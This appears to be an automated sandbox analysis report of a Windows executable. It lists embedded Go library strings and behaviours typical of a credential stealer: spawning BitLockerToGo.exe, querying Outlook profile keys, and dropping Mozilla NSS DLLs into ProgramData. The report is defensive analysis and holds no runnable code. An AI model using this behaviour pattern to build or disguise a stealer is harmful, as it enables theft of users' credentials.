Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain.Program.ReadCounts
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain.Program.Dependencies
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain.(*Chain).Clone
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain.(*Chain).End
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain.(*Chain).IsAscending
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain.(*Chain).Op
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain.(*Chain).Ops
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain.(*Chain).Produces
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain.(*Chain).Program
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain.(*Chain).Superset
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain.(*Chain).Validate
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain.(*Op).IsDouble
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain.(*Op).Operands
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain.(*Op).Uses
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain.(*Program).Adds
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain.(*Program).Count
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain.(*Program).Dependencies
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain.(*Program).Doubles
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain.(*Program).Evaluate
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain.(*Program).ReadCounts
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/acc/ir.(*Program).AddInstruction
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/acc/ir.Program.Output
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/acc/ir.Program.Clone
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/acc/ir.Instruction.Clone
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/acc/ir.Operand.Clone
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/acc/ir.Program.String
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/acc/ir.Operand.String
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/acc/ir.Instruction.Operands
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/acc/ir.Instruction.String
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/acc/ir.Add.Inputs
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/acc/ir.Add.Clone
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/acc/ir.Add.String
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/acc/ir.Double.Inputs
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/acc/ir.Double.Clone
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/acc/ir.Double.String
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/acc/ir.Shift.Inputs
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/acc/ir.Shift.Clone
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/acc/ir.Shift.String
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: type:.eq.github.com/mmcloughlin/addchain/acc/ir.Operand
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/acc/ir.(*Operand).Clone
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/acc/ir.(*Operand).String
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/acc/ir.(*Instruction).Clone
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/acc/ir.(*Instruction).Operands
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/acc/ir.(*Instruction).String
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/acc/ir.(*Program).Clone
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/acc/ir.(*Program).Output
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/acc/ir.(*Program).String
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/acc/ir.(*Add).Clone
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/acc/ir.(*Add).Inputs
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/acc/ir.(*Add).String
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/acc/ir.(*Double).Clone
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/acc/ir.(*Double).Inputs
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/acc/ir.(*Double).String
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/acc/ir.(*Shift).Clone
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/acc/ir.(*Shift).Inputs
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/acc/ir.(*Shift).String
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: type:.eq.github.com/mmcloughlin/addchain/acc/ir.Instruction
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/internal/errutil.AssertionFailure
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/internal/print.(*Printer).Linef
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/internal/print.(*Printer).NL
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/internal/print.(*Printer).Printf
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/internal/print.(*Printer).SetError
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/internal/print.NewTabWriter
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/internal/print.New
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: type:.eq.github.com/mmcloughlin/addchain/internal/print.Printer
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: type:.eq.github.com/mmcloughlin/addchain/internal/print.TabWriter
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/acc/ast.Identifier.Precedence
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/acc/ast.(*Identifier).Precedence
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: type:.eq.github.com/mmcloughlin/addchain/acc/ast.Statement
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/acc/pass.init
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/acc/pass.NameBinaryValues
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/acc/pass.NameOperands
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/acc/pass.NameBinaryRuns
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/acc/pass.init.NameBinaryRuns.NameOperands.func4
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/acc/pass.init.NameBinaryRuns.func2
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/acc/pass.init.NameBinaryValues.NameOperands.func3
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/acc/pass.init.NameBinaryValues.func1
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/acc/pass.Compile
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/internal/errutil.UnexpectedType
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/acc/pass.Eval
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/acc/pass.Func.Execute
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/acc/pass.Exec
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/acc/pass.Concat
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/acc/pass.Exec.Concat.func1
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/acc/pass.CanonicalizeOperands
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/acc/pass.(*Func).Execute
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/internal/bigvector.init
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/meta.init
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/meta.(*Properties).CheckCitable
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/meta.(*Properties).IsRelease
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/meta.(*Properties).WriteCitation
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/meta.(*Properties).ReleaseTime
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/meta.(*Properties).Title
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/meta.(*Properties).WriteCitation.func2
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/meta.(*Properties).WriteCitation.func1
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/meta.(*Properties).RepositoryURL
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/meta.(*Properties).Module
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/meta.(*Properties).DOIURL
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/meta.doiurl
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/internal/print.(*TabWriter).Flush
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/internal/print.(*Printer).Error
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/meta.(*Properties).Citation
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/meta.(*Properties).ReleaseTag
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/meta.(*Properties).ReleaseURL
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain/meta.(*Properties).ConceptDOIURL
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: type:.eq.github.com/mmcloughlin/addchain/meta.Properties
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: net/addrselect.go
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain@v0.4.0/internal/bigint/bigint.go
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain@v0.4.0/internal/bigints/bigints.go
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain@v0.4.0/chain.go
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain@v0.4.0/program.go
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain@v0.4.0/acc/ir/ir.go
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain@v0.4.0/internal/errutil/errutil.go
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain@v0.4.0/internal/print/printer.go
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain@v0.4.0/acc/ast/ast.go
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain@v0.4.0/acc/pass/naming.go
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain@v0.4.0/acc/pass/eval.go
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain@v0.4.0/acc/pass/pass.go
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain@v0.4.0/internal/bigvector/bigvector.go
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain@v0.4.0/meta/meta.go
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/mmcloughlin/addchain@v0.4.0/meta/cite.go
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/decred/dcrd/dcrec/secp256k1/v4@v4.0.1/loadprecomputed.go
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	String found in binary or memory: github.com/saferwall/pe@v1.5.4/loadconfig.go

Source: C:\Users\user\Desktop\5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe

File read: C:\Users\user\Desktop\5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe "C:\Users\user\Desktop\5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe"
Source: C:\Users\user\Desktop\5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"
Source: C:\Users\user\Desktop\5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"	Jump to behavior

Source: C:\Users\user\Desktop\5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Users\user\Desktop\5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Section loaded: windowscodecs.dll	Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe

Static PE information: Virtual size of .text is bigger than: 0x100000

Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe

Static file information: File size 15184384 > 1048576

Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	Static PE information: Raw size of .text is bigger than: 0x100000 < 0x663600
Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	Static PE information: Raw size of .rdata is bigger than: 0x100000 < 0x758000

Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: mozglue.pdbP source: BitLockerToGo.exe, 00000001.00000002.2084421648.000000006C86D000.00000002.00000001.01000000.00000008.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: freebl3.pdb source: freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: freebl3.pdbp source: freebl3.dll.1.dr, freebl3[1].dll.1.dr
Source:	Binary string: nss3.pdb@ source: BitLockerToGo.exe, 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: BitLockerToGo.pdb source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe, 00000000.00000002.1843071659.000000000223F000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.1.dr, softokn3.dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140[1].dll.1.dr, vcruntime140.dll.1.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140.dll.1.dr, msvcp140[1].dll.1.dr
Source:	Binary string: nss3.pdb source: BitLockerToGo.exe, 00000001.00000002.2084634850.000000006CA2F000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.1.dr, nss3[1].dll.1.dr
Source:	Binary string: mozglue.pdb source: BitLockerToGo.exe, 00000001.00000002.2084421648.000000006C86D000.00000002.00000001.01000000.00000008.sdmp, mozglue.dll.1.dr, mozglue[1].dll.1.dr
Source:	Binary string: BitLockerToGo.pdbGCTL source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe, 00000000.00000002.1843071659.000000000223F000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.1.dr, softokn3.dll.1.dr

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 1_2_02769860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

1_2_02769860

Source: 5ffe9c7df144e58c04f8d77c33849dcf93dc0ada47717.exe	Static PE information: section name: .symtab
Source: freebl3.dll.1.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.1.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.1.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.1.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.1.dr	Static PE information: section name: .didat
Source: msvcp140[1].dll.1.dr	Static PE information: section name: .didat
Source: nss3.dll.1.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.1.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.1.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.1.dr	Static PE information: section name: .00cfg

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_0276B035 push ecx; ret		1_2_0276B048
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Code function: 1_2_6C82B536 push ecx; ret		1_2_6C82B549

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\freebl3[1].dll	Jump to dropped file
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\vcruntime140[1].dll	Jump to dropped file
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
